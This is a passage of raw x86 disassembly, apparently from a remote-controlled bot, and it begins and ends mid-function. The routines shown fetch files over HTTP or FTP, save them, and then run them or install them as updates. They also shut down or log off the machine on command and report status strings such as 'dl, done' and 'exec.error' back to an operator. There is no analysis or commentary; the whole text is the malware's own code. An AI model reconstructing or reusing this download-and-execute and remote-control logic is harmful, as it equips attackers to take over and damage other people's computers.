94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41CEB3 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CEB5 ; --------------------------------------------------------------------------- loc_41CEB3: ; CODE XREF: sub_41C610+896j xor edi, edi loc_41CEB5: ; CODE XREF: sub_41C610+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FBE lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FBE lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FBE lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CF40: ; CODE XREF: sub_41C610+7A1j lea ecx, [ebp+0EAh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D1A1 push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_443600 ; " " lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_4016AE push offset word_44759A mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401B72 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41D0EC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D212 ; --------------------------------------------------------------------------- loc_41D0EC: ; CODE XREF: sub_41C610+A64j push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41D114 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D114: ; CODE XREF: sub_41C610+AF7j xor edi, edi loc_41D116: ; CODE XREF: sub_41C610+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401FBE lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401FBE lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_4013D4 loc_41D1A1: ; CODE XREF: sub_41C610+116j ; sub_41C610+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_41D212: ; CODE XREF: sub_41C610+549j ; sub_41C610+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41C610 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D540 proc near ; CODE XREF: sub_401B36j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D540 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D5D0 proc near ; CODE XREF: sub_4014B0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D5D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D5D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_4021C6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D670 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D670 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41D730: ; CODE XREF: ___:00401168j ; ___:loc_4019E7j push esi mov esi, ecx call sub_4015C3 test byte ptr [esp+8], 1 jz short loc_41D748 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41D748: ; CODE XREF: ___:0041D73Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D760 proc near ; CODE XREF: sub_4015C3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D760 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D760 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41D830 proc near ; CODE XREF: sub_401C80j var_44 = dword ptr -44h var_3C = byte ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_24 = byte ptr 28h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_110 = byte ptr 114h arg_120 = byte ptr 124h arg_130 = byte ptr 134h arg_1110 = dword ptr 1114h arg_1114 = byte ptr 1118h arg_1130 = dword ptr 1134h arg_1138 = dword ptr 113Ch arg_1144 = byte ptr 1148h arg_1150 = dword ptr 1154h ; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43B0F2 push eax mov eax, 1158h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov esi, ecx push edi push offset byte_446F70 lea edi, [esi+11h] mov ecx, edi call sub_4012EE test eax, eax jz loc_41DF38 lea ebx, [esi+65h] push offset byte_446F70 mov ecx, ebx call sub_4012EE test eax, eax jz loc_41DF38 lea ecx, [esi+26h] push offset byte_446F70 call sub_4012EE test eax, eax jz loc_41DF38 mov al, [esi+91h] test al, al jz short loc_41D8D1 push offset byte_446F70 lea ecx, [esi+3Bh] call sub_4012EE test eax, eax jz short loc_41D8C4 push offset byte_446F70 lea ecx, [esi+50h] call sub_4012EE test eax, eax jnz short loc_41D8D1 loc_41D8C4: ; CODE XREF: sub_41D830+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41DF40 ; --------------------------------------------------------------------------- loc_41D8D1: ; CODE XREF: sub_41D830+70j ; sub_41D830+92j push offset asc_443C94 ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012EE lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jz short loc_41D95E push offset asc_443C94 ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_4016AE mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jnz short loc_41D96F loc_41D95E: ; CODE XREF: sub_41D830+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41D96F: ; CODE XREF: sub_41D830+12Cj push offset asc_443C94 ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_4016AE lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401FBE lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_4017E4 push eax nop call near ptr 2810000h lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_4015D7 mov al, [esi+91h] test al, al jz loc_41DB04 call sub_401E06 ; --------------------------------------------------------------------------- lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_4017E4 push eax call sub_401A69 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_41DA1C lea ecx, [esi+7Ah] call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 mov [esp+28h+var_18], esi lea edx, [esp+28h+var_18] jmp loc_41DF17 ; --------------------------------------------------------------------------- loc_41DA1C: ; CODE XREF: sub_41D830+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_4017E4 push eax lea ecx, [esi+3Bh] call sub_4017E4 push eax call sub_402243 add esp, 0Ch test eax, eax jnz short loc_41DA73 lea ecx, [esi+7Ah] call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF18 ; --------------------------------------------------------------------------- loc_41DA73: ; CODE XREF: sub_41D830+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 mov eax, [esp+28h+var_14] lea ecx, [esi+26h] push eax push 49h call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax call sub_4016A9 add esp, 10h test eax, eax jnz short loc_41DAF2 mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF18 ; --------------------------------------------------------------------------- loc_41DAF2: ; CODE XREF: sub_41D830+28Dj mov ecx, [esp+28h+var_14] push ecx call sub_401D52 add esp, 4 jmp loc_41DD7B ; --------------------------------------------------------------------------- loc_41DB04: ; CODE XREF: sub_41D830+195j lea ecx, [esp+28h+arg_20] call sub_401424 lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_401424 push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_4017E4 push eax call sub_401A8C mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41DB87 lea ecx, [esi+7Ah] call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+28h+var_18] mov [esp+28h+var_18], esi push ecx mov ecx, offset byte_4E6EDB call sub_40120D ; --------------------------------------------------------------------------- db 53h dd 69BAB8E8h, 0BEE99071h db 3 dup(0) ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41D830+310j push ebp mov ecx, edi call sub_4017E4 push eax lea ecx, [esi+26h] call sub_4017E4 push eax lea edx, [esp+30h+arg_24] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+24h+arg_24] push 0 call sub_4013D9 push eax lea ecx, [esp+2Ch+arg_24] call sub_4017E4 push eax push ebx nop call near ptr 71AB428Ah lea edi, [esi+7Ah] mov ecx, edi call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 push offset aWb ; "wb" lea ecx, [esi+65h] call sub_4017E4 push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41DC80 mov ecx, edi call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+34h+var_24] mov [esp+34h+var_24], esi push ecx mov ecx, offset byte_4E6EDB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+34h+var_18] mov byte ptr [esp+34h+arg_1138], 3 call sub_401226 lea ecx, [esp+34h+arg_14] mov byte ptr [esp+34h+arg_1138], 2 call sub_401226 lea ecx, [esp+34h] mov [esp+34h+arg_1138], 0FFFFFFFFh call sub_401226 jmp loc_41DF4B ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D830+3DBj ; sub_41D830+484j ... mov eax, [esp+34h+var_20] push 0 lea edx, [esp+38h+arg_130] push 1000h push edx push eax call near ptr 71AB615Ah nop mov ebp, eax test ebp, ebp jle short loc_41DCF8 cmp ebp, 1000h jge short loc_41DCB0 mov [esp+ebp+44h+arg_120], 0 loc_41DCB0: ; CODE XREF: sub_41D830+476j xor edi, edi test ebp, ebp jle short loc_41DC80 loc_41DCB6: ; CODE XREF: sub_41D830+4A5j push 4 lea ecx, [esp+edi+48h+arg_120] push offset asc_443EF8 ; "\r\n\r\n" push ecx call near ptr 77C47A50h nop add esp, 0Ch test eax, eax jz short loc_41DCD9 inc edi cmp edi, ebp jl short loc_41DCB6 jmp short loc_41DC80 ; --------------------------------------------------------------------------- loc_41DCD9: ; CODE XREF: sub_41D830+4A0j add edi, 4 cmp edi, ebp jge short loc_41DCF8 loc_41DCE0: ; CODE XREF: sub_41D830+4C6j movsx edx, [esp+edi+44h+arg_120] push ebx push edx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DCE0 loc_41DCF8: ; CODE XREF: sub_41D830+46Ej ; sub_41D830+4AEj ... mov edi, [esp+44h+var_30] push 0 lea eax, [esp+48h+arg_120] push 1000h push eax push edi call near ptr 71AB615Ah nop mov ebp, eax test ebp, ebp jle short loc_41DD48 cmp ebp, 1000h jge short loc_41DD28 mov [esp+ebp+54h+arg_110], 0 loc_41DD28: ; CODE XREF: sub_41D830+4EEj xor edi, edi test ebp, ebp jle short loc_41DCF8 loc_41DD2E: ; CODE XREF: sub_41D830+514j movsx ecx, [esp+edi+54h+arg_110] push ebx push ecx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DD2E jmp short loc_41DCF8 ; --------------------------------------------------------------------------- loc_41DD48: ; CODE XREF: sub_41D830+4E6j push ebx nop call near ptr 77C40AB1h add esp, 4 push edi call near ptr 71AB9639h nop lea ecx, [esp+58h+var_3C] mov [esp+58h+arg_1114], 3 call sub_401226 lea ecx, [esp+58h+var_C] mov [esp+58h+arg_1114], 2 call sub_401226 loc_41DD7B: ; CODE XREF: sub_41D830+2CFj mov al, [esi+90h] test al, al jnz loc_41DE17 lea ebp, [esi+65h] mov ecx, ebp call sub_4017E4 lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_4D60B5 call sub_401848 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41DF0F push offset byte_446F70 mov ecx, ebp call sub_4017E4 push eax call sub_401299 add esp, 8 mov ecx, ebp call sub_4017E4 push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h jmp loc_41DF0F ; --------------------------------------------------------------------------- loc_41DE17: ; CODE XREF: sub_41D830+553j lea ebx, [esi+65h] mov ecx, ebx call sub_4017E4 lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea edx, [esp+58h+var_3C] push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 51h push edx call sub_4019B5 add esp, 24h mov ecx, eax mov [esp+58h+arg_1114], 5 call sub_4014D3 push eax mov ecx, ebx call sub_4014D3 push eax call sub_402149 add esp, 8 lea ecx, [esp+58h+var_3C] mov bl, al mov [esp+58h+arg_1114], 2 call sub_401226 test bl, bl jz short loc_41DEEA mov al, byte_4478D6 test al, al jz short loc_41DEB9 push offset dword_447874 mov ecx, offset dword_448DB0 call sub_401447 loc_41DEB9: ; CODE XREF: sub_41D830+678j mov al, byte_44791F test al, al jz short loc_41DED1 push offset byte_44794F mov ecx, offset dword_448DB0 call sub_401942 loc_41DED1: ; CODE XREF: sub_41D830+690j mov ecx, offset dword_448DB0 call sub_401E5B push 1 mov byte_4E6E84, 0 nop call near ptr 77C39E7Eh loc_41DEEA: ; CODE XREF: sub_41D830+66Fj mov ecx, edi call sub_4014D3 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 loc_41DF0F: ; CODE XREF: sub_41D830+597j ; sub_41D830+5E2j mov [esp+5Ch+var_44], esi lea edx, [esp+5Ch+var_44] loc_41DF17: ; CODE XREF: sub_41D830+1E7j push edx loc_41DF18: ; CODE XREF: sub_41D830+23Ej ; sub_41D830+2BDj mov ecx, offset byte_4E6EDB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+5Ch+var_28] mov [esp+5Ch+arg_1110], 0FFFFFFFFh call sub_401226 jmp short loc_41DF4B ; --------------------------------------------------------------------------- loc_41DF38: ; CODE XREF: sub_41D830+36j ; sub_41D830+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41DF40: ; CODE XREF: sub_41D830+9Cj push eax mov ecx, offset byte_4E6EDB call sub_40120D sub_41D830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D830 loc_41DF4B: ; CODE XREF: sub_41D830+44Bj ; sub_41D830+706j mov ecx, [esp+34h+arg_1130] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn ; END OF FUNCTION CHUNK FOR sub_41D830 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E140 proc near ; CODE XREF: sub_401B90j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E140 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_41E140 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+30h] push 10h push edx call sub_4019B5 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+40h] push 10h push ecx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: ___:loc_4010B4j push ebx push esi push edi mov edi, [esp+10h] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E31B push offset dword_443FFC lea ecx, [edi+69h] call sub_401681 mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 14h push 0 push 6 nop call near ptr 28C0383h pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E31B: ; CODE XREF: ___:0041E2DEj lea ecx, [esi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E36A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_401681 mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 14h push 0 push 5 call near ptr 28C0383h nop pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E36A: ; CODE XREF: ___:0041E32Dj lea ecx, [esi+60h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E3B1 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_401681 mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 14h push 0 push 4 nop call near ptr 28C0383h loc_41E3B1: ; CODE XREF: ___:0041E37Cj pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E400 proc near ; CODE XREF: sub_401F5Fj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E400 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_41E400 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+30h] push 10h push edx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+3Ch] push 10h push ecx call sub_4019B5 add esp, 3Ch mov dword ptr [esp+40h], 2 push esi mov ecx, eax call sub_4017E4 lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+3Ch] push 10h push eax call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+54h] push 10h push edx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E660 proc near ; CODE XREF: sub_401613j var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 